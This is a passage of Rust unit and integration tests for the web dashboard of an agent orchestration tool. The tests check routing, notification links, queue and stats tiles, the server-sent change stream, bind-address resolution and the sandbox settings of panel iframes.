22117        assert!(bodies[1].to_string().contains("strong"));
22118    }
22119
22120    #[test]
22121    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
22122        let home = TempDir::new().unwrap();
22123        let store = ask::Questions::at(home.path().join("questions"));
22124        let mut q = Question::new(
22125            "run".to_owned(),
22126            "conduct".to_owned(),
22127            "conduct".to_owned(),
22128            "which?".to_owned(),
22129            String::new(),
22130            Vec::new(),
22131        );
22132        q.say("plain words").unwrap();
22133        q.thread.push(ask::Turn {
22134            who: ask::Who::Agent,
22135            body: "Settled as `merge`".to_owned(),
22136            at: jiff::Timestamp::now(),
22137            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
22138        });
22139        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22140        let notes = &v["thread_notes_md"];
22141        assert_eq!(notes.as_array().unwrap().len(), 2);
22142        assert!(notes[0].is_null());
22143        let text = notes[1].to_string();
22144        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
22145        assert!(APP_JS.contains("ask-turn-note"));
22146    }
22147
22148    #[test]
22149    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
22150        // The land panel defers to `run.status` for merged, and labels a
22151        // recorded-open PR on any finished run (superseded, blocked, ...) as
22152        // last seen, never as live state.
22153        assert!(APP_JS.contains("function landView(run, raw) {"));
22154        assert!(
22155            APP_JS.contains(
22156                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
22157            )
22158        );
22159        assert!(APP_JS.contains("const pr = landView(run, raw);"));
22160        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
22161        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
22162        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
22163    }
22164
22165    #[test]
22166    fn live_runs_are_never_hidden_or_folded_as_superseded() {
22167        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
22168        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
22169        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
22170        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
22171    }
22172
22173    #[test]
22174    fn review_rounds_label_a_distinct_verified_head() {
22175        assert!(APP_JS.contains("round.verified_head"));
22176        assert!(APP_JS.contains("verified HEAD"));
22177        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
22178    }
22179
22180    #[test]
22181    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
22182        // A blocked task's chip and note must not fall back to a queued-like
22183        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
22184        // itself by e11fc58 but never checked here.
22185        assert!(APP_JS.contains("blocked: { glyph:"));
22186        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
22187
22188        // `blocked_by` mixes task ids and question ids in the same list, and
22189        // the client can only tell them apart by checking each id against
22190        // what it actually knows - never by guessing from the id's shape.
22191        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
22192        assert!(
22193            APP_JS.contains(
22194                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
22195            ),
22196            "the note line must name what a blocked task is waiting on, not just that it is blocked"
22197        );
22198        // The classification must key off `status_str`, never off `blocked_by`
22199        // or `block_reason` merely being present - both can survive briefly
22200        // on a task a hold or a dead daemon just moved off `blocked`.
22201        assert!(APP_JS.contains("if (status === \"blocked\") {"));
22202
22203        // A question a task is blocked on gets its own node in the same
22204        // dependency graph, not just a task-shaped node with nothing known
22205        // about it. The web_render browser test checks the actual destination.
22206        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
22207        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
22208
22209        // `Task::answers` - decisions already made - are shown as a record on
22210        // the card, the same disclosure style as the full instruction.
22211        assert!(APP_JS.contains("Resolved questions"));
22212        assert!(APP_JS.contains("r.answersList.append("));
22213        assert!(APP_CSS.contains(".task-answers"));
22214        {
22215            let start = APP_JS
22216                .find("function updateTalkTaskRow")
22217                .expect("updateTalkTaskRow");
22218            let body = &APP_JS[start..];
22219            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
22220            assert!(
22221                body.contains(
22222                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
22223                ),
22224                "a chat-filed task row must link to the task page"
22225            );
22226            assert!(
22227                !body.contains("#/runs/") && !body.contains("#/queue/"),
22228                "the row must not branch to a run or the queue card"
22229            );
22230            assert!(APP_CSS.contains(".talk-task-link"));
22231        }
22232    }
22233
22234    #[test]
22235    fn a_task_notification_links_to_the_task_page() {
22236        // A task notice opens the task detail page, not the Backlog card.
22237        let start = APP_JS
22238            .find("function noticeLink(")
22239            .expect("noticeLink exists");
22240        let body = &APP_JS[start..];
22241        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
22242        assert!(
22243            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
22244            "a task notice's link must target the task page"
22245        );
22246        assert!(
22247            !body.contains("#/queue/"),
22248            "regression: the task link must not go back to the Backlog route"
22249        );
22250        assert!(
22251            APP_JS.contains(
22252                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
22253            ),
22254            "`#/tasks/<id>` must parse into the task route"
22255        );
22256
22257        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
22258        assert!(
22259            APP_JS.contains(
22260                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
22261            ),
22262            "`#/queue/<id>` must parse into a route carrying that id"
22263        );
22264
22265        // And the Backlog view has to actually land on the card once it can
22266        // - see consumeQueueFocus(), which renderQueue() calls on every pass
22267        // so a focus set before the queue has loaded is retried once it has.
22268        assert!(APP_JS.contains("state.queueFocus = route.id;"));
22269        assert!(APP_JS.contains("function consumeQueueFocus()"));
22270        assert!(APP_JS.contains("jumpToTask(id)"));
22271    }
22272
22273    #[test]
22274    fn notifications_distinguish_actionable_questions_from_informational_notices() {
22275        let start = APP_JS
22276            .find("function noticeCoveredBy(")
22277            .expect("noticeCoveredBy exists");
22278        let body = &APP_JS[start..];
22279        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
22280
22281        // Historical associations are informational, even for open questions.
22282        assert!(body.contains("Associated question ${short}"));
22283        assert!(!body.contains("el(\"a\""));
22284
22285        // A resolved question displays status rather than an actionable link
22286        assert!(body.contains("(resolved)"));
22287        assert!(body.contains("(closed)"));
22288
22289        let start = APP_JS
22290            .find("function renderNotifications()")
22291            .expect("renderNotifications exists");
22292        let body = &APP_JS[start..];
22293        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
22294
22295        // Only a server-resolved answerable question supplies a response link.
22296        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
22297        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
22298        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
22299        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
22300    }
22301
22302    /// Chat rows are two lines at every width: the title alone, then the
22303    /// shrinkable secondary info.
22304    #[test]
22305    fn chat_rows_put_the_title_alone_on_the_first_line() {
22306        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
22307        assert!(APP_CSS.contains(
22308            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
22309        ));
22310        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
22311        assert!(APP_JS.contains("class: \"badge talk-unread\""));
22312    }
22313
22314    #[test]
22315    fn run_rows_put_the_title_alone_on_the_first_line() {
22316        assert!(
22317            APP_CSS.contains(
22318                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
22319            )
22320        );
22321        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
22322        assert!(APP_JS.contains("class: \"card run-card\""));
22323        assert!(APP_JS.contains("class: \"repo run-id\""));
22324    }
22325
22326    /// Wide screens get a master/detail layout built from the views a phone
22327    /// drills into. These are string assertions: they pin the contract between
22328    /// the three assets, not how it looks.
22329    #[test]
22330    fn wide_screens_show_list_and_preview_side_by_side() {
22331        // One breakpoint, spelled the same in the script and the stylesheet.
22332        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
22333        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
22334        assert!(APP_CSS.contains("main[data-split]"));
22335        assert!(APP_CSS.contains("body[data-split]"));
22336
22337        // The route -> panes table, and a narrow screen opting out of it.
22338        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
22339        assert!(
22340            APP_JS.contains(
22341                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
22342            )
22343        );
22344        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
22345        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
22346        assert!(INDEX_HTML.contains("id=\"split-empty\""));
22347
22348        // Selection is derived from the route, and only ever paints a row.
22349        assert!(APP_JS.contains("function markSelected() {"));
22350        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
22351        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
22352        // The dense row must override the stacked card the 720px block sets up.
22353        assert!(
22354            APP_CSS.contains(
22355                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
22356            )
22357        );
22358
22359        // Independent scrolling: the page stops scrolling, each pane does.
22360        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
22361        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
22362        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
22363        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
22364
22365        // A refresh must never navigate: the loaders still check that their
22366        // subject is the one on screen, and crossing the breakpoint only
22367        // re-reads the hash.
22368        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
22369        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
22370        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
22371        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
22372
22373        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
22374        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
22375    }
22376
22377    #[test]
22378    fn panel_sandbox_carries_exactly_popups() {
22379        let needle = "sandbox: \"";
22380        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
22381        assert_eq!(
22382            matches.len(),
22383            1,
22384            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
22385        );
22386        let start = matches[0].0 + needle.len();
22387        let end = APP_JS[start..]
22388            .find('"')
22389            .expect("sandbox attribute value must be terminated by a closing quote");
22390        let val = &APP_JS[start..start + end];
22391        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
22392        let expected: std::collections::BTreeSet<&str> =
22393            ["allow-popups", "allow-popups-to-escape-sandbox"]
22394                .into_iter()
22395                .collect();
22396        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
22397        assert!(
22398            !tokens.contains("allow-scripts"),
22399            "allow-scripts must never be present in sandbox"
22400        );
22401        assert!(
22402            !tokens.contains("allow-same-origin"),
22403            "allow-same-origin must never be present in sandbox"
22404        );
22405    }
22406
22407    #[test]
22408    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
22409        // consumeQueueFocus() clears an active Backlog search before it can
22410        // scroll to the target card (the sections list is hidden while a
22411        // search is showing), by recursing back into renderQueue(). The
22412        // fixer's first cut nulled state.queueFocus before that recursive
22413        // call, so the second pass saw nothing to jump to and the jump was
22414        // silently dropped whenever a notification's link was opened with a
22415        // stale search still active. state.queueFocus must only be cleared
22416        // right before jumpToTask() actually runs.
22417        assert!(
22418            APP_JS.contains(
22419                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
22420            ),
22421            "the search-clearing branch must run before state.queueFocus is cleared, or the \
22422             recursive renderQueue() call has nothing left to jump to"
22423        );
22424        assert!(
22425            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
22426            "state.queueFocus must be cleared only once the jump has landed, so a card that \
22427             arrives later still gets it"
22428        );
22429        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
22430        assert!(APP_JS.contains("is not in the current Backlog."));
22431        assert!(APP_JS.contains("li.card[data-task-id=\""));
22432        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
22433        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
22434        assert!(APP_CSS.contains(".card-permalink"));
22435        assert!(APP_CSS.contains(".queue-focus-status"));
22436        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
22437    }
22438
22439    #[test]
22440    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
22441        // The task's own repro: only the link text inside .notice-meta was
22442        // clickable, so a tap on the message, the timestamp, or the card's
22443        // padding did nothing - on a phone that reads as "the card doesn't
22444        // work" even though the tiny link inside it did. Mark read / Dismiss
22445        // must keep working independently of this: `.closest("a, button")`
22446        // is what lets a tap that actually lands on those elements fall
22447        // through instead of being hijacked into a navigation.
22448        assert!(
22449            APP_JS.contains(
22450                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
22451            ),
22452            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
22453        );
22454    }
22455
22456    #[test]
22457    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
22458        assert!(
22459            APP_JS.contains("round.verified_head !== round.head"),
22460            "a round that verified an earlier commit must be visibly distinct from one that \
22461             verified the head reviewers are looking at now"
22462        );
22463        assert!(
22464            APP_JS.contains("round.verified_at"),
22465            "when a check ran must be on the wire, not just which commit"
22466        );
22467        assert!(
22468            APP_JS.contains("resource_blocked"),
22469            "a command magi never got to run (shared build cache contention) must not render \
22470             the same as a command that ran and failed"
22471        );
22472    }
22473
22474    #[test]
22475    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22476        // Every KPI tile but Total runs and Completion names an exact
22477        // RunStatus and hands it to openRunsFiltered(), which is what wires
22478        // the click into state.runsFilter.status (matchesFilter's own
22479        // status check) rather than the coarser runsStateFilter chips. Each
22480        // status literal here must be one of the strings runSection() (and
22481        // isStale()) actually compare a run's own `status` field against -
22482        // a status this dashboard invented would filter to nothing.
22483        assert!(
22484            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22485            "every KPI tile built through statusTile() must route its click through \
22486             openRunsFiltered, the single place that sets the Runs filter"
22487        );
22488        for (label, status) in [
22489            ("Merged", "merged"),
22490            ("Ready", "ready"),
22491            ("Blocked", "blocked"),
22492            ("Stalled", "stalled"),
22493        ] {
22494            let call = format!("statusTile(\"{label}\", t.{status}, ");
22495            assert!(
22496                APP_JS.contains(&call),
22497                "expected the {label} KPI tile built via {call}..."
22498            );
22499            assert!(
22500                APP_JS.contains(&format!("status === \"{status}\"")),
22501                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22502                 compare a run against, not one invented only for the stats tile"
22503            );
22504        }
22505        assert!(
22506            APP_JS.contains("function openRunsFiltered(status)"),
22507            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22508        );
22509        assert!(
22510            APP_JS.contains(
22511                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22512            ),
22513            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22514        );
22515        // applyRoute() only flips which view is visible for a plain `#runs`
22516        // hash - it does not itself redraw the list (see applyRoute's own
22517        // handling below) - so openRunsFiltered must call renderRuns()
22518        // itself, and must call applyRoute() too so the view flips even
22519        // when the hash string doesn't change (the operator may already be
22520        // on the Runs view when a tile is tapped, which fires no
22521        // hashchange event at all).
22522        assert!(
22523            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22524            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22525             hashchange event that may never fire"
22526        );
22527    }
22528
22529    #[test]
22530    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22531        // A stats tile can leave state.runsFilter.status set to something
22532        // done-by-construction (e.g. "merged") - picking "Active" afterward
22533        // must drop it the same way an incompatible tree section is already
22534        // dropped, or the Runs list renders permanently empty with no way
22535        // for the operator to tell why.
22536        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22537        assert!(
22538            APP_JS.contains(
22539                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22540            ),
22541            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22542             guard for an incompatible tree section"
22543        );
22544    }
22545
22546    #[test]
22547    fn every_stats_queue_tile_names_a_real_queue_section() {
22548        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22549        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22550        // (consumeQueueSectionFocus finds no matching <details> and drops
22551        // the focus) rather than fail loudly, so pin every key against the
22552        // section list it has to resolve against.
22553        assert!(
22554            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22555            "every queue tile built through sectionTile() must route its click through \
22556             openQueueSectionFocus"
22557        );
22558        for key in ["upnext", "running", "done", "held", "blocked"] {
22559            assert!(
22560                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22561                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22562            );
22563        }
22564        // Queued and Failed intentionally both resolve to "upnext" - the
22565        // same section queueSection() itself files them under - rather than
22566        // getting a section each.
22567        for line in [
22568            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22569            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22570            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22571            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22572            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22573            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22574        ] {
22575            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22576        }
22577    }
22578
22579    #[test]
22580    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22581        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22582        // above for the section-focus channel a stats queue tile drives:
22583        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22584        // through the stale-search-clear recursion into renderQueue(), and
22585        // clear it only once revealQueueSection() is actually about to run -
22586        // the same trap that once silently dropped a task-focus jump.
22587        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22588        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22589        assert!(APP_JS.contains("function revealQueueSection(details)"));
22590        assert!(
22591            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22592            "renderQueue() must consume both focus channels on every pass"
22593        );
22594        assert!(
22595            APP_JS.contains(
22596                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
22597            ),
22598            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22599             the recursive renderQueue() call has nothing left to reveal"
22600        );
22601        assert!(
22602            APP_JS.contains(
22603                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
22604            ),
22605            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22606        );
22607        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
22608        // task-focus form of the hash - a plain `#queue` navigation only
22609        // flips which view is visible. openQueueSectionFocus() must
22610        // therefore call renderQueue() itself, and applyRoute() too so the
22611        // view flips even when the hash doesn't change (the Backlog may
22612        // already be open when a tile is tapped, firing no hashchange
22613        // event at all).
22614        assert!(
22615            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
22616            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22617             hashchange event that may never fire"
22618        );
22619    }
22620
22621    #[tokio::test]
22622    async fn the_change_stream_announces_the_current_revisions_on_connect() {
22623        let f = Fixture::start().await;
22624
22625        let mut socket = tokio::net::TcpStream::connect(f.addr)
22626            .await
22627            .expect("connect");
22628        socket
22629            .write_all(
22630                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22631            )
22632            .await
22633            .expect("write request");
22634
22635        // Read until the first event arrives rather than to end of stream: the
22636        // stream is endless by design, which is the point of the route.
22637        let mut seen = String::new();
22638        let mut buf = [0u8; 1024];
22639        while !seen.contains("event: change") {
22640            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22641                .await
22642                .expect("the stream must speak within five seconds")
22643                .expect("read");
22644            assert!(read > 0, "the server closed the change stream: {seen}");
22645            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22646        }
22647
22648        assert!(
22649            seen.to_lowercase()
22650                .contains("content-type: text/event-stream"),
22651            "the browser only reconnects automatically for a real SSE stream: {seen}"
22652        );
22653        let data = seen
22654            .lines()
22655            .find_map(|l| l.strip_prefix("data:"))
22656            .expect("a data line");
22657        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22658        assert!(
22659            payload["queue_rev"].is_u64()
22660                && payload["runs_rev"].is_u64()
22661                && payload["questions_rev"].is_u64()
22662                && payload["talks_rev"].is_u64()
22663                && payload["notifications_rev"].is_u64()
22664                && payload["loop_rev"].is_u64(),
22665            "the client needs one revision per store to know what to refetch, \
22666             and `talks_rev` is the only notification a standing talk gets - a \
22667             phone whose radio slept through a turn learns about it here, as \
22668             does one whose operator started the loop from another device: \
22669             {payload}"
22670        );
22671
22672        // The front end re-polls health on a timer and on wake, and takes the
22673        // revisions from that answer whenever the stream is not up. So health
22674        // has to carry every key the stream carries: a phone on a link that
22675        // will not hold an SSE connection is exactly the phone that must still
22676        // notice a question, and a missing key there is not a 500 but a UI
22677        // that quietly stops updating.
22678        let health = f.get("/api/health").await.json();
22679        for key in [
22680            "queue_rev",
22681            "runs_rev",
22682            "questions_rev",
22683            "talks_rev",
22684            "notifications_rev",
22685            "loop_rev",
22686        ] {
22687            assert!(
22688                health[key].is_u64(),
22689                "health is the change stream's fallback and is missing `{key}`: {health}"
22690            );
22691        }
22692    }
22693
22694    #[tokio::test]
22695    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
22696        let home = TempDir::new().expect("temp home");
22697        let ui = delta_test_ui(home.path());
22698        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
22699        // Establish the existing conversation's baseline before appending.
22700        // Wait on the stream's shared notification rather than repeatedly
22701        // rebuilding health (config, process and disk observations included).
22702        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
22703        let mut changes = ui.monitor.broadcaster.subscribe();
22704        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
22705        on_disk.turns.push(crate::talk::Turn {
22706            sender: None,
22707            breaks: Some(Vec::new()),
22708            messages: Vec::new(),
22709            posted_by: None,
22710            who: crate::talk::Who::Operator,
22711            body: "a new turn".to_owned(),
22712            at: Timestamp::now(),
22713            attachments: Vec::new(),
22714            usage: None,
22715        });
22716        ui.talks.put(&mut on_disk).expect("record a turn");
22717
22718        let after = tokio::time::timeout(Duration::from_secs(5), async {
22719            loop {
22720                let change = changes.recv().await.expect("monitor notification");
22721                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
22722                if revision != before {
22723                    assert_eq!(
22724                        change.payload["talks_delta"]["changed"],
22725                        serde_json::json!([talk])
22726                    );
22727                    break revision;
22728                }
22729            }
22730        })
22731        .await
22732        .expect("shared monitor observes external turn");
22733        assert_ne!(
22734            before, after,
22735            "a phone must be able to notice a talk's reply without polling every store"
22736        );
22737        let Json(observed) = health(State(ui)).await.expect("health");
22738        assert_eq!(
22739            observed.talks_rev, after,
22740            "health exposes the same revision"
22741        );
22742    }
22743
22744    #[test]
22745    fn bind_reads_back_from_the_spelling_the_cli_prints() {
22746        // The CLI shows the default in `--help` and parses whatever comes
22747        // back, so the two directions have to agree or `--bind auto` breaks
22748        // the moment someone copies the help text.
22749        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
22750            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
22751        }
22752        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
22753        assert!("everywhere".parse::<Bind>().is_err());
22754    }
22755
22756    #[test]
22757    fn an_explicit_bind_address_is_taken_verbatim() {
22758        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
22759
22760        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
22761
22762        assert_eq!(addr, asked);
22763        assert!(
22764            warning.is_none(),
22765            "an operator who named an address gets no lecture"
22766        );
22767    }
22768
22769    #[test]
22770    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
22771        let (addr, warning) = resolve_bind(&Bind::Auto);
22772
22773        // This has to hold on a CI runner with no `tailscale` and on a dev box
22774        // with one, so the invariant asserted is the one shared by both
22775        // outcomes: the address is either a real tailnet address offered
22776        // without comment, or loopback with an explanation. What must never
22777        // happen is a silent fallback - an operator told "listening on
22778        // 127.0.0.1" with no reason would go looking for a firewall.
22779        match addr {
22780            IpAddr::V4(ip) if is_tailnet(&ip) => {
22781                assert!(warning.is_none(), "a tailnet address needs no warning");
22782            }
22783            other => {
22784                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
22785                let warning = warning.expect("a fallback has to explain itself");
22786                assert!(
22787                    warning.contains("127.0.0.1") && warning.contains("local-only"),
22788                    "the warning says what happened and what it costs: {warning}"
22789                );
22790            }
22791        }
22792    }
22793
22794    #[test]
22795    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
22796        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
22797        // boundary cases are what stop us binding to some other tool's idea of
22798        // an address.
22799        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
22800        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
22801        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
22802        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
22803        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
22804    }
22805
22806    #[test]
22807    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
22808        let ids = vec![
22809            "20260902-140501-aaaa".to_owned(),
22810            "20260902-140502-aabb".to_owned(),
22811        ];
22812
22813        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
22814        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
22815        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
22816
22817        assert_eq!(missing.status, StatusCode::NOT_FOUND);
22818        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
22819        assert_eq!(short, "20260902-140502-aabb");
22820    }
22821    #[tokio::test]
22822    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
22823        // The prompt tells agents to reference attachments by bare filename.
22824        // A document served at `.../panel` resolves `shot.png` against its own
22825        // directory, i.e. `.../shot.png`, which is not the asset route - so a
22826        // panel written exactly as instructed showed broken images. Caught by
22827        // looking at a real one in a browser, not by reading the code.
22828        let fx = Fixture::start().await;
22829        let id = panel(
22830            &fx,
22831            "<img src=\"shot.png\">",
22832            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
22833        );
22834
22835        // The frame's own URL ends in a filename, so its siblings are reachable.
22836        let doc = fx
22837            .get(&format!("/api/questions/{id}/panel/index.html"))
22838            .await;
22839        assert_eq!(doc.status, 200, "{}", doc.body);
22840        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
22841
22842        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
22843        assert_eq!(sibling.status, 200, "{}", sibling.body);
22844        assert_eq!(sibling.header("content-type"), Some("image/png"));
22845        assert_eq!(
22846            sibling.header("content-security-policy"),
22847            Some(PANEL_CSP),
22848            "the sibling route must carry the same policy as the asset route"
22849        );
22850
22851        // The original spelling keeps working: HEAD on it is how the front end
22852        // decides whether to mount a frame at all.
22853        assert_eq!(
22854            fx.head(&format!("/api/questions/{id}/panel")).await.status,
22855            200
22856        );
22857    }
22858
22859    #[test]
22860    fn delta_stamps_cover_add_update_remove_and_noop() {
22861        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
22862        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
22863        let delta = diff_stamps(&before, &after, 42);
22864        assert_eq!(delta.base, 42);
22865        assert_eq!(delta.changed, ["b", "c"]);
22866        assert_eq!(delta.removed, ["a"]);
22867        let same = diff_stamps(&after, &after, 43);
22868        assert!(same.changed.is_empty() && same.removed.is_empty());
22869        assert_ne!(stamps_revision(&before), stamps_revision(&after));
22870        let nanos: Stamps = [("b".into(), (2, 20))].into();
22871        let same_ms: Stamps = [("b".into(), (3, 20))].into();
22872        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
